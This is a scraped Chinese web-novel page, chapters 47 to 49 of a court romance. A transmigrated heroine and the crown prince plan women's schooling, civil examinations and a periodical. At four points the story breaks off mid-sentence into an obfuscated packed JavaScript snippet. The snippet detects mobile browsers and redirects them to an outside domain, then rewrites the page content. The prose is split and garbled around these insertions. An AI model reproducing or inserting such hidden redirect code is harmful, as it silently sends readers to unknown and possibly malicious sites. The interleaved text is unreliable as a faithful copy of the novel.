赵煜给她点上安神香,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957038|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她的呼吸渐渐平稳,才悄然离开。 夜色如墨,寒风如刃。赵煜站在宁安王府的屋檐上,披风在风中猎猎作响,冰冷的空气顺着衣领灌入,贴着皮肤,带来刺骨的寒意。但这些寒意,都无法抵消肩上残留的泪水,那灼热的痛感像一根根细细的针,扎进他心里。 他早已接受了孤独的常态。他自小在孤儿院长大,生活里从未有过温暖,好不容易熬到考上大学,靠奖学金和兼职艰难维持学业,命运却没有给他一个出口——打工时,一根掉落的钢筋直直穿透他的胸膛。那种突如其来的惊悚和撕心裂肺的剧痛,至今仍是他的梦魇。 他一直觉得,命运不过是在和他开一个更大的玩笑。它将他从那个冰冷的现实世界里拽出,扔进了这个古老而陌生的朝代,给了他一个华丽到近乎荒诞的身份——太子。但即便披上锦衣玉食的外壳,孤独依旧如影随形。 陌生的宫殿、虚伪的笑脸、冷酷的权谋……这个世界于他而言,不过是一场漫长而荒唐的体验。他尽力而为,不求改变历史,也不奢望掌控朝局,只当自己是在虚拟人生中打怪升级,一场游戏而已。 可她的出现,打破了这份自我麻痹的平静。 她的每一个眼神、每一句话,每一丝情绪的波动,都让他感受到久违的真实。她的愤怒,她的坚持,她的不安……那些情绪像钩子一样,把他从孤独的深渊里拽了出来。她成了他在这个陌生世界中的唯一坐标,是唯一能让他感到自己还活着的存在。 可现在,她却开始怀疑这个世界了。她那空洞而迷茫的眼神,像一把无形的刀,割在他心头,疼得让他几乎无法呼吸。 因为他,又何尝不是如此? 他也曾怀疑自己是不是疯了,是否在现实世界的病床上陷入了漫长的昏迷,捏造出了这个荒唐的故事,捏造出了叶斯年的存在。她的到来太巧合,太完美,像是命运特意安排的救赎。可他怎么可能这么幸运? 长廊深处的灯火逐渐模糊,宫门在推拉声中缓缓合上,脚步声在高高的殿顶回荡。 赵煜回到东宫书房,书案上散落着一幅幅画像——全是叶斯年的模样。 她在仙乐坊捂着双眼窘迫的模样,她叉着腰骂骂咧咧的桀骜不驯,她在旷野的风中坚定无畏的眼睛,她在长生楼前厮杀的英姿……自从她出现以后,他在无数个深夜里描摹她的轮廓,反复确认她是否真实存在。 可她的泪水是温热的,她的颤抖是真实的。她的存在,打破了他对这个世界的所有冷漠和怀疑。 但现在,她开始怀疑自己,怀疑这个世界的真实性。他无法眼睁睁看着她溃散,不能让她像自己曾经那样,被孤独和怀疑吞噬。 她是他的救赎,他也要成为她的锚点。 什么盛世,什么改革,她好好的,这个世界才有意义。 他提笔蘸墨,开始书写。 来年开春的恩科,他要逼着官家允许女子参考。他要帮她构建她理想的世界,让她亲眼看到这个时代因她而改变。然后,他要为她举办一场盛大的婚礼。 他知道她不会在意婚礼本身,但她会在意站在她身旁的每一个女性。她会想看到女官为她庆贺,看到因为她的存在,这个时代的女性有了新的可能。 他要给她一个答案:这个世界会因她而真实。 47.商榷 “阿姐,阿姐!” 瑾年高高扬着一份邸报,像只欢快的小鹿似的满院子乱跑:“街头巷尾都在议论呢!我早说太子殿下喜欢你,茶楼那回就被我看出来了!” 晨曦微熹,宁安王府的家丁早早就去邸报房排队,购入最新一期的邸报。邸报通常由进奏院搜集整理朝堂人事、军报战况、诏令刑案、外交动向等,优先抄送各地驻京官邸。但若遇上重大事件,各家高门便不等抄送,纷纷遣人去购报,就是想看看进奏院用的什么口吻来表述这件事。 瑾年的声音还未落,青枝便推门而入,带着些许调侃:“在军营时,耳朵里全是郡主和太子的传言,如今可算坐实了。” 叶斯年坐在铜镜前,正往锁骨处涂药。先前的伤口虽已结痂,却依旧留下一道淡淡的疤痕。她瞥了一眼瑾年那副眉飞色舞的模样:“瞧把你高兴的,别光顾着操心我,过几日怕是有人要上门给你说亲了。” 瑾年登时跳脚:“阿姐!你别乱说!我这不是看你前几日心情不好,逗逗你嘛!” 青枝和瑾年交换了个眼神,一左一右在叶斯年对面坐下。这俩人刚从军营回来,身形清瘦了些,肤色也晒得黝黑,却透着比以往更强的锐气。青枝更是在幽刀营训练时挂了彩,手背上还隐约有几道伤口。 青枝将邸报递给叶斯年,她接过一看,正中醒目的“敕令赐婚”映入眼帘。邸报上的报道言辞恳切,措辞讲究,显然经过了仔细斟酌。世代忠贞、深得圣心、举朝同贺、天赐良缘,什么好词都用上了。 瑾年扫了一眼,忍不住感慨:“官方邸报真是滴水不漏。” 叶斯年摩挲着这份邸报,心里已有几分盘算。 瑾年眼尖,瞥见她无名指上的戒指,眼睛一亮,立刻凑近,眨巴着眼睛:“阿姐这戒指,昨日各家送来的贺礼中,可没这一枚吧?” 青枝也煞有介事地点头:“可不是,我也没见到,估摸着是昨夜才收到的?” 瑾年抱臂,轻轻“啧”了一声:“难怪阿姐今日心情这么好。前几日可还蔫巴巴的,阿娘都不让我来打扰呢。” 叶斯年刚要抬手,却见这俩人已经动作敏捷地窜到门口,还真是训练有素。她无奈摆摆手:“行了,今天有正事给你们办,别闹。” 她走到书案前,抬手研墨:“我一会儿写封信,看看韩婉今天有没有空,跟我一同前往长公主府。”她手中墨锭缓缓旋转,“我有个想法,我们办一份刊物,类似邸报,不刊登官方消息,专做时事评论。你们研究一下怎么运作,是不是需要刊号,联系哪家印刷坊,在哪些地方发行……” 青枝和瑾年对视一眼,眼中闪过兴奋的光,登时来了兴致。 “这好说!”瑾年兴冲冲地一拍手,“我去找思醴,她前几日刚买下花月阁那栋楼,正愁不知道做什么呢!” 叶斯年笔尖一顿:“……你说她买下了一整栋楼?” “是啊,思醴的产业可多了。前几日还找我商量怎么脱手,估计是怕家里人发现吧。”瑾年得意洋洋地道,颇有几分幸灾乐祸的意味。 叶斯年咂了咂嘴,半晌才抬手竖起大拇指:“可以可以……那你问问她有没有兴趣办个书局和印刷坊。”她顿了顿,语调微扬,带着一丝无奈,“话说回来,这两样是不是都得审批啊?真麻烦……” 瑾年歪头想了想:“阿姐,你还怕官府批不下来?你都要成太子妃了,批个凭照不就是殿下一句话的事?” 青枝也跟着点头:“是啊,你手上还有太子令牌呢,一天能领五百两银子……” 瑾年瞪大眼睛:“五百两?你是说殿下一天给阿姐五百两?” 叶斯年无语地揉了揉额角:“越说越离谱了......你俩别闹了,先去琢磨琢磨运作流程,起个响亮的名字,晚点碰个头。” 两人带着满腹的兴奋溜出了院子,隐隐还能听见她们在回廊下打打闹闹的声音。晨光渐渐洒满庭院,微风拂过书案,卷起一角薄薄的宣纸。 叶斯年垂眸摩挲着无名指上那枚微光流转的戒指。做自己想做的事,果然能让这世界变得更真实一些。 王府大门前,一辆马车疾驰而来,未及停稳,韩婉便已掀开帘子轻盈跃下,步履匆匆地往前厅走去。 “你倒是来得快。”叶斯年正等着她。 韩婉将手中信笺随意一晃:“能不快吗?你说有要事相商,怕是与你的婚事有关吧,都传得沸沸扬扬了。” 叶斯年不置可否:“某种程度上,是的。” 二人登上马车,驶向长公主府,气氛一时有些沉静。韩婉忽然开口:“你怎么还不问我,为何拒了官家直升翰林院的特许?” 叶斯年看了她一眼:“那你说说看,你既然希望天下女子都能科考入仕,何不先去探探路?” 韩婉神色如常:“破例,终究不是破局。” “今天官家赐我进翰林,明日若换了天呢?我爹爹如今身居尚书右仆射,风头正盛,韩家往日得罪的人也不少,何况如今朝局动荡。” 她似笑非笑:“一旦有人做局害我,那这条路便彻底断了。” “你看得透彻。”她顿了顿,“就是不知长公主如何看?” 韩婉有些无奈地笑了笑:“郡主也看得透彻。殿下当天就把我批了一顿。” 叶斯年失笑,韩婉的答案在她意料之中。 长公主府内,赵玥见二人到来,便吩咐下人奉上茶点:“怎么?二位如此匆忙地寻我,莫非是有好消息?郡主是要悔婚了?我就知道我那侄儿入不了你的眼。” 叶斯年无奈摇摇头:“你那侄儿好得很,深得我心。” 日光透过雕花窗棂,在鎏金屏风上洒下粼粼波光。赵玥懒懒地半倚着,折扇轻叩掌心,眉目间尽显随性与风流。她不过二十四岁,举手投足间已然自成气度,既有年轻女子的张扬恣意,又透着胸有成竹的沉稳分寸。 然而,赵玥眼底那独属天潢贵胄的傲气,却让叶斯年不愿探究。从前她以为那是人间烟火供出的神格,如今却总能从她俯瞰众生的姿态中,品出一丝漫不经心的轻蔑。 “有些事,还是得找你们二位商议。”叶斯年不紧不慢地开口,“你们打算如何推动女子科考和入仕这条路?” 赵玥漫不经心道:“你倒是先说说,你想怎么做?” 叶斯年随手拈起一串葡萄,语调含混地笑道:“眼下大家目标一致,就别藏着掖着了。” 赵玥的折扇轻叩桌面:“听起来,你已有了章程,说吧。” “首先,不能开‘女子科考’。” 赵玥正准备端起茶盏,闻言动作微顿,随即笑了笑,从案上拈起一份折子,递了过去。折子上,赫然写着四个字——“女子科考”。 “这是我准备明日递上去的折子。你倒是说说,为什么不能?” 叶斯年接过折子:“考,当然是要考的。我反对的,是单独开设‘女子科考’。” 赵玥与韩婉几乎是异口同声:“为何?” “现有的科考制度,从未明文规定‘女子不得参加’。可天下人皆默认,科举只属于男子。” “若我们主动提出‘女子科考’,便等同于承认女子本不该考,从一开始就把自己置于对立面了。如此一来,不仅削弱了自身的正当性,更是在无形之中矮化自己,将女子置于‘第二性’的地位。” “第二性?” 赵玥挑眉,目光中透出一丝疑惑。 叶斯年意识到自己脱口而出的是一个现代词汇,便换了种说法:“意思是,男子被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967382|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默认为世间万事万物的‘基准’,而女子则只能是男子的‘附属’,必须带着‘女子’的前缀来界定自己的存在。” 她轻点手中的折子,字字铿锵:“‘女子科考’——那是不是意味着,对应的职位就叫‘女官’?二位不觉得,这个称谓本身就带着诸多限制吗?男人会管自己叫‘男官’吗?男人是‘官’,而女人却要特地被标注为‘女官’,这合理吗?” 赵玥和韩婉的神色一变,眼中皆浮现出一丝深思。 叶斯年罔顾二人的震惊,继续道:“‘女官’,与后宫六尚局有什么区别?依旧会被限定在无关紧要的职位上,依旧无缘权力中心。” “我们都清楚,能走上这条路的女子,不仅要才学卓绝,还要踏过重重门槛,跨越无数闲言碎语的荆棘,仍然意志坚定。她们所付出的努力,远远超出同等位置和年龄段的男子,水平自然也超出一大截。” 她轻轻叩了叩桌面:“一旦有女子通过‘女子科考’踏入仕途,那便就是鹤立鸡群的存在,却难免会被边缘化。最终,女子科考势必会演变成一个与传统科考相对立的体系。” 她顿了顿:“而一旦形成这种对立,朝堂与士林必然会群起而攻之,将此事视作女子‘抢占男子功名、撼祖制、牝鸡司晨’。届时,反对的声浪只会愈演愈烈,而朝廷为了平息争端,只需一道圣旨,便可彻底废除‘女子科考’。” 她勾起唇角:“思醴说得没错,男子口口声声夸赞女子聪慧,不过是叶公好龙。你们可以聪明,但不能比他们更聪明;可以有才,但不能超越他们的才华。” 她嗤笑,眉眼间尽是讽刺与轻蔑:“他们胆子小得很,只要女子稍稍展露锋芒,便立刻惶恐不安,担心自己的地位不保,本能地群起攻之。” 她似笑非笑地摇头:“这大概就是所谓的‘血脉压制’吧。” 她换了个姿势,故意拉长声调,嗓音略显做作:“‘女子还是嫁个好人家,生儿育女才是正经事。’” 赵玥手中折扇微微一顿,眉梢间隐隐透出几分杀意。 叶斯年伸手将折子推回赵玥面前:“所以,特设‘女子科考’,眼下看似更容易获得官家首肯,实则是自设樊笼,矮化自身,无法长久。即便我们这一代人侥幸成功,后世的女子仍要耗费数百年的努力,才能让这两个体系重新合并。” 赵玥的折扇轻轻敲着桌案:“婉儿,你的意思呢?” 韩婉点头:“这件事,说到底,是争取男女平权。郡主说得对,我们要的从来不是特权。” 叶斯年很理解赵玥在这件事上看不透,所以才大费周章解释。赵玥自出生便立于权力之巅,特权于她而言,从来都是理所当然的便利,而非需挣脱的桎梏。正如她如今的地位,哪怕叶斯年日后贵为太子妃甚至皇后,也依旧无法站到与她并肩的位置——因为她不姓赵。 “就如婉儿不愿凭特例进入翰林院,我们要打通女子入仕的道路,也不能依赖特例。”她字字铿锵,“我们争取的,从来不是谁的恩赏,而是要让天下人意识到——这本就是一件极其合理之事,只是被忽视得太久。” 她似笑非笑地补充道:“话说回来,专制集权有时候倒也未必是坏事。只要能说服一个人,就能撼动天下的思潮。” “……有趣。”赵玥手中折扇在掌心轻敲。 韩婉却微微蹙眉:“可如今,真正能参加科考的女子又有多少?世家贵族的女子虽有私塾可读,但大多不过通晓诗书礼乐,愿意抛头露面的,更是凤毛麟角。再者,她们如何能与那些寒窗苦读数十载的男子相抗衡?” 叶斯年轻轻一笑:“先造势。天下清醒的女子何其之多。你大喊一声,自会有人应声而来。” 赵玥与韩婉相似一笑,若有所思。 48.搞事 “第二步,” 叶斯年不疾不徐地开口,“设立女子学堂,且必须由长公主主持。” 赵玥轻叩折扇,似笑非笑:“女子学堂的事,我和婉儿本就在计划。可你方才才说不能推‘女子科考’,为何女子学堂又可以?” 叶斯年轻轻一笑:“步子不能迈得太大。此刻让女子与男子同堂,过于激进,会引来更大的反弹。眼下世风未开,若只是为了求学,便要承受非议,甚至触犯礼制,那未免代价太重。” “我们要为她们铺路,而不是逼她们踏上一条狭窄难行的独木桥。” 韩婉频频点头:“女子能否入仕尚无定论,若是因求学便被扣上离经叛道的帽子,恐怕会吓退许多人。” “确实如此,你们说得都不错。”她轻轻点头,随即折扇轻转,似笑非笑地看着叶斯年:“不过,我倒是以为,你会抢先去办。” “长公主的身份,才是最名正言顺的。” 叶斯年不疾不徐地答道:“我出面,名不正言不顺,反对者必然会借‘女子抛头露面,有伤风化’为由掀起波澜。即便是太子出面,也缺乏正当性。玄月司的风波尚未完全平息,皇子若亲自开设女子学堂,反倒容易引起坊间揣测,被过度解读。” “如今朝堂空缺甚多,官家组建参知政务院,命长公主为参知政事,位列朝堂。但若是参知政事、长公主亲自创办,这便是皇室旨意,为朝堂培养人才。” 赵玥浅笑,眸底浮起一丝兴味:“湖心岛的事情尚未完全压下,坊间议论四起,若是在此时开办女子学堂,不仅能转移视线,也能一定程度上安抚人心。” 韩婉轻轻颔首,目光坚定:“确实如此。” “最后,这件事必须由赵煜出资。” 赵玥挑眉,意味深长地盯着她:“这是你的条件?你们商议好了?” “还没,不过——我说了算。”叶斯年坦然自若,“不过这不是条件。” 她放下茶盏:“如果没有太子参与,这件事就会变成‘长公主独揽女子学堂’,届时,朝堂上的守旧派必定会将其解读为你在培植私党,借女子科考壮大自身势力。未来女子考取功名入仕,会直接被冠以‘长公主一党的名号’。这样一来,女子入仕不仅不会成为常规,反而可能成为政争的牺牲品。” 赵玥指尖微顿,折扇轻叩桌面:“……你倒是想得比我们周全。” “若是由太子出资,那便是太子与长公主共同推动的女子学堂,而非某一方势力的私产。无论是朝堂还是士林,都挑不出错处。更何况,太子还能借此说是‘为未来的太子妃祈福’,如此一来,此事便能顺理成章。” “你倒是打得一手好算盘。” 叶斯年耸了耸肩:“既然大家目标一致,何不各取所需?” 赵玥盯着她,沉吟片刻,最终轻笑出声,眼底浮现一抹欣赏:“有趣。” “这件事,我答应了。” 韩婉神色微松,朝叶斯年投去一抹肯定的目光。 叶斯年端起茶盏,轻轻抿了一口。女子入仕的第一步,终于踏出去了。 叶斯年起身正要告辞,却在踏出一步后停下,回头看向赵玥。 她犹豫了许久,还是开口说道:“殿下若日后登基,请不要称自己为‘女帝’。” 这句话落下,赵玥与韩婉的神情都微微一滞,眸中浮现出一丝不可置信。她们显然没想到叶斯年竟会如此坦率。 赵玥随即一笑:“你方才说的‘第二性’,我明白了。” 叶斯年补充说道:“有一位哲人说过,‘女人不是天生的,而是后天形成的’。” “是你的母亲吗?”赵玥追问。 这句话出自波伏娃的《第二性》,意指“女人”并非天生如此,而是被社会、文化、制度塑造而成。她们被教导如何言行,被规定人生轨迹,被赋予特定的身份与期待,而非自由选择自己成为何种模样。叶斯年穿越两世才发现,千百年来都是如此。 可她无法解释这些,索性笑了笑:“就当作是我的母亲吧。” “不知这条路,你我之间谁能走得更远。但无论如何,这句话,与长公主共勉。” 赵玥望着她的背影,意味难明。她似感慨,又似自嘲:“你们母女二人,倒是都让我醍醐灌顶啊……” 瑾年和青枝忙碌了一整天,按瑾年的说法,几乎跑遍了整个瑶京。 思醴对书局和印刷坊的提议十分感兴趣,但花月阁毕竟是风月场所,若直接改作书局,难免遭士林非议。她说要先脱手,与人置换一处合适的坊市店铺,改日再来府中找郡主吃酒详谈。 短短一天,两人已摸清了整个流程。 瑾年不顾周苓投来的眼神,咕咚咕咚地灌了一大口水,放下茶盏便急急开口:“阿姐,我跟你说,这事儿可麻烦了!” 她抬手比划了一下,语速极快:“首先,设立印刷坊,必须先在工部和礼部备案,领取‘设肆凭照’后方可设肆经营。印坊设立后,凡刻经籍、律令、时议文书,须先经国子监勘验,待礼部批准,方可正式印行。” 她深吸了一口气:“重点是!每一块雕版都得赴工部领取‘印历’存档,莫说整版书籍,便是一页书册,也得详细记录版式、匠籍、纸墨用量!” 她拍了拍胸口,像是刚讲完一桩大案:“上个月,大理寺才在瑶川码头查获三百块本私印的《神宗实录》残版,连带着大相国寺印经院的执事僧都吃了脊杖。” 说完,她端起茶盏猛喝了一口水,接着说道:“书局也不是随便开的,必须在瑶京府立籍,取得设肆凭照,凭照上就已经明确经营范围了。现下书坊大多依附书院,主要售卖话本、范文集,或是被纳入免审目录的书籍。若要出售涉及学术论述或朝廷政务的书籍,一样是流程一堆。” 她顿了顿:“可阿姐要办的是刊物,这就更麻烦了。” 她叹了口气:“如今朝廷并无‘刊号’制度,每期刊物都必须逐一向国子监备案审查,待礼部核准,方能交付印刷坊制作雕版。而且,首印版还需存入国子监,作为存档备案。” 瑾年晃了晃手里的文书:“凡涉时议之事,还需进奏院存案,待内容审定后方可流通。流程繁琐,审批冗长,根本无法像朝廷邸报那般高效。” 她翻开文书:“瞧瞧,这就是今天跑了一天的收获。单是刻印苏子澹的《刑赏忠厚之至论》,就得先送礼部勘验,避讳字勘定二十一处,国子监再删改逆党语句七条,接着送枢密院北面房审核‘无涉军情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14973117|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’。” “这一通改完,还得再送回子澹本人校准,再轮着审最后一遍!” 她将文书“啪”地一声拍回桌上:“这么折腾下来,快则数月,慢则一年,等批文下来,时局都变了!” 她将文书随手丢在桌上,眼神意味深长地看向叶斯年:“要想顺利运作,少不了找人通融,或者——”她嘴角微微勾起,眼底闪过一丝狡黠,“绕个路子。” 周苓静静地看着叶斯年,缓缓开口:“没有刊号,或许只是因为还没人提出来。月刊或半月刊,先申请一个刊号,先凭刊号印刷,再集中存档,一年一备,印刷效率就能跟上。” 叶斯年轻轻颔首,表示赞同。古代印刷效率本就不高,雕版整理需时日,何况是成规模的刊物? 叶绍适时补充:“邸报三五天一期,进奏院那边就已经忙得叫苦连天。你要是三五天递上一个审批,他们根本不会搭理你。” 叶斯年若有所思:“思醴确定要做书局和印刷坊,这事儿就好办。至于设肆凭照,就是许可,我来搞定。” “刊号……李怀瑾被贬,苏廷章这个前任国子监祭酒,刚上任礼部侍郎。改日约他出来谈谈。” 叶绍抬眸看了她一眼:“我知道你们都不拘小节,”说着,他目光微转,落在周苓身上,“但你现在已经被赐婚,可别私下约苏侍郎,这事儿让殿下去就行。” 听见这话立刻抬头,青枝附和:“确实,今天跑了一天,也听了不少传闻,怎么说的都有。” 她咽下饭,又郑重补了一句:“瑶京人嘴碎得很,避嫌还是要避的。” 叶斯年抬手揉了揉额角:“这皮球,踢了一千年......” “不过,你为何不自己办书局和印刷坊?若是缺银两,去库房取便是了。”叶绍投来关切的目光。 叶斯年还未开口,倒是周苓先淡然说道:“赐婚圣旨才刚下,这边就筹备书局、印坊、刊号,每一样都牵扯到士林言论、舆论导向,都是专制集权的敏感点。” “如今斯年既是王府嫡女,又是东华郡主,还是未来的太子妃,身份本就敏感。若此时再亲自下场,树大招风不说,怕是要引来朝堂内外诸多揣测。” 次日,关于长公主欲设女子学堂,太子愿出资相助的消息如骤雨入江,激起层层涟漪,在宫廷、朝堂乃至士林间迅速发酵。 守旧派断言“女子读书无用”,忧心此举违背祖制,动摇纲常;皇室近臣态度微妙,即便心存疑虑,也不敢轻易置喙,唯恐触犯长公主与太子的威严。而士林的反应更是错综复杂——有人称赞此举卓然不群,有人忧惧变革,生怕此事会引发更深远的动荡。 然而,最激烈的反对声来自一向持重持正的尚书左仆射苏仲衡。 他言辞锋利,直斥此举“离经叛道,祸乱朝纲”,引得不少大臣纷纷附和,顷刻间风波愈演愈烈。 而一向深居简出的苏云卿,竟再此时主动向叶斯年发出邀约。 此前,叶斯年曾数次接触她,皆被苏云卿有意无意地回绝。赵煜亦再三告诫她,不要与苏家走得太近。 然而,如今局势已不同往日——既然决意先设立女子学堂,创办刊物,那苏云卿这样的女子,一个都别想袖手旁观。 49.云卿 入冬后的瑶京,天色晦沉,寒意弥漫。 朔风卷地,河畔柳枝只剩光裸的枝桠。街巷茶肆热气氤氲,白雾蒸腾,人声鼎沸。瑶京冬日的清晨竟与她曾在北方见过的早市颇有几分相似。 叶斯年缩在马车里,身披厚实的锦褙,握着鎏金手炉。她今日应苏云卿之邀,前往郊外苏家园林相见。 苏云卿坐在园中一处亭子里,身着月白长裳,清雅如初。她手执素笔,专注地在案上绘画。 “长宁郡君。” “郡主。” 二人举止端谨,礼数周全,却未多寒暄。 “今日邀郡主前来,是想说一件往事。” “愿闻其详。” 叶斯年走近,目光落在案上,那是一幅亭台秋菊,画中人物竟是赵煜。 “从前,父亲曾推举我入东宫。”苏云卿语调平稳,仿佛在诉说旁人的故事,“太子年岁已长,却迟迟未定婚事,朝野上下皆认为长宁郡君是最合适的人选。” 她顿了顿,望向远处冰湖,目光幽深。 “那日,我就在这亭子里绘秋菊。天高云淡,殿下竟然来了。” 她轻轻一笑,带着些许自嘲:“我当时真的以为,殿下是心悦于我的。” 秋菊为君妍,佳人执笔绘。若此情当真,未免太美。 她轻轻拂过案上的画卷,没有再展开说了。 “我知不该迁怒于郡主,却也未能心平气和地面对你,因此数次推脱。”她语气坦诚,并无半分刻意矫饰。 若苏云卿与赵煜情投意合,她大可做个空架子。可惜赵煜分明不是这个意思。这轻浮公子,怕是随口逗弄了几句,便叫苏云卿当了真。 “那今日邀我前来,又为何事?” “听闻长公主与太子欲设女子学堂,家父极力反对。” 她顿了一下:“可我对此事……很感兴趣。” “兄长已经开始公然违逆家父,我不好再这么做。思来想去,还是找郡主最合适。” 她的神色罕见认真:“若有能效力之处,还请郡主直言。” 亭台楼榭,秋水微澜,她立于风中,宛若洛神。叶斯年一时恍惚,竟忘了言语。 回过神来,她缓缓道:“学堂之事尚早,况且你若不能公开出面,确实难以施展。” 她略一沉吟,忽而问道:“云卿,你可曾想过,连载漫画?” 苏云卿显然未曾听闻此说。 叶斯年心思一动。她想起从前的经历,团队再怎么钻研技术,总是比不过那些简单却极具趣味性的产品。但单靠重复的趣味,也只是昙花一现。市场的竞争,本质上就是迎合流量的方向,谁能吸引人,谁就能占据先机。 若刊物尽是时评议论,虽能立论争锋,却过于严肃,受众始终有限。她不是要办一份阳春白雪的读本,而是要建立一个能引导舆论的平台。 想让人接受一种观念,首先得让他们愿意听你说话。先用漫画这种前所未有的故事形态吸引读者,抢占市场,再让他们读到刊物里的其他故事和评论,最终促成讨论。只有先占据市场,后续才能抢占舆论高地。 她解释道:“就像连环绘卷,以人物形象和场景展现故事进程,每一幅画配上几句旁白或人物对话,每期连载几则情节,使人追读。比起枯燥的文字,更直观生动,也更容易让人记住。” 苏云卿沉吟片刻,似有所悟。 “绘卷……”她喃喃低语,指尖轻拂素笔,若有所思,“听上去,倒是别有趣味。” “刊物的事儿暂时还没个准信,你不妨先积攒些稿子。”叶斯年心想,还是不要限定题材,云卿作为一个当代女子,定能讲出更贴近人心的故事,“主角最好是女子,当然,也不一定要是人。” 苏云卿一时有些出神。叶斯年顺着她的目光看过去,画中的赵煜确实有几分超然出尘的仙气,可苏云卿才是风华绝代之人,怎能因赵煜那等浪荡子的无心之举而困顿? “至于太子殿下……帝王家最是无情,你又何必将此事放在心上?若你仍心存执念,不妨亲自问个明白,岂不更好?” 苏云卿眼中闪过一丝错愕,显然未曾料到叶斯年竟如此坦然,全无芥蒂。 “或许是他本就无意,或许是所托非人,又或许只是你不合他的期待。”话一出口,她便有些懊悔,本想安慰苏云卿,可这番话听来更像是在泼冷水。可在她眼中,情情爱爱的确不过如此,何必为难自己? 苏云卿轻叹道:“郡主竟未怪云卿冒犯,反而如此通达。” “终究是你与太子之间的事,本就与我无关,何来责怪?你愿主动约我,我自是高兴。只希望太子,不会成为你我之间的芥蒂。” 苏云卿轻抚着画卷:“郡主此言……倒是发人深省,云卿会好好思量。” 叶斯年也没再多言,先行离去。马车刚驶出苏家园林,便被人拦下。她掀开车帘,便见赵煜歪着头,笑得一脸灿烂。 正巧她也有事要找他,便默许他上了车。 赵煜一踏进车厢,便毫无顾忌地往叶斯年身上靠。 她皱着眉头毫不客气地将他推开:“男女授受不亲,太子殿下。” “哎哟,不知道是谁抱着我痛哭流涕,让我靠一下都不行,真小气。”赵煜非但未躲,反倒直接靠在她肩上蹭了蹭。 叶斯年瞬间语塞,一时分不清是愤怒还是恼羞成怒。 赵煜哼哼唧唧地说道:“两天没合眼了,让我靠一会儿。” “忙什么呢?累了就回去睡觉,你稀罕在马车上睡?” “想你啊。”赵煜顺势又往她身上靠了靠。 叶斯年对这种轻佻言辞早已免疫,神色淡淡地推开他的头:“别想我了,你想想苏云卿吧。” 赵煜原本还一脸懒散,这话一出,顿时坐直了身子:“原来你是去见长宁郡君啊,她怎么了?” 叶斯年斜睨他一眼,见他这副正襟危坐的模样,心中更加不爽,语气不善道:“苏家园林这地方,你倒是挺熟悉啊。自己交代,对云卿做了什么?” 赵煜急得直摆手:“冤枉啊!我什么都没做!清清白白!不信你可以验验!” 叶斯年深吸了一口气,还是没忍住抬手锤了他一拳。若非卫珩正守在车外,赵煜怕是要嚷嚷得惊天动地。 “我说,我说!” “主语宾语谓语,不要修饰词。” 赵煜举手投降:“我在这园林见过她两次……”见叶斯年眼神不善,他赶紧补充:“但是真的什么都没有!” “这什么年代?你堂堂太子,跑去人家园林见她两次?对你来说不过是风流韵事,可她是未出阁的女子,你让她怎么想?” 赵煜叹了口气,难得正经了些:“我总得接触一下吧?在你来之前,太子妃人选基本定了是她。我推了两年也快顶不住压力了,总得看看她是个什么人,接触一下吧……” 他越说声音越低。 “所以你撩拨她了?” “绝对没有!”赵煜立刻举起手,一脸委屈,“我对天发誓!我就见过她三次。第一次是三公主的生辰宴,后面两次是来这园林里找她,第二次还是为了见你,顺便打掩护四处晃悠的。苍天可鉴!我跟她说的话,比白开水还淡!” 叶斯年瞥了他一眼,语气不善:“你好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有恩科的事。”赵煜换了个更舒服的姿势靠着她,“原本我想着直接开女子科考,但你们都说不行,那这次年后的恩科怕是赶不上了……但如果是这样,韩婉还是得先入朝。这几天我和官家也聊了这事儿。他对女子学堂的设想很是赞赏,对你那句‘千里共婵娟’还念念不忘呢。” “至于女子科考,他说还需再议,换句话说,就是有戏。再加上最近确实缺人,玄月司案件的文书是韩婉一手整理的,官家大为赞赏。如果韩婉愿意先入朝,日后推动女子科考也会更容易。她之前表态是支持女子科考,如今若能临危受命,也算是表忠了......” 赵煜靠在她肩上絮絮叨叨,声音渐渐低了下去,话未说完,竟真的就这样睡了过去。 叶斯年无奈地瞥了他一眼,最终还是没推开他,让他靠着睡了会儿。 马车驶进城区时,已是晌午。街市喧腾,人声鼎沸。 叶斯年察觉到赵煜已经醒了,却仍旧装睡。她挑了挑眉,故意夸张地甩了一下肩膀,赵煜半个身子直接被晃了出去,差点没摔下马车。 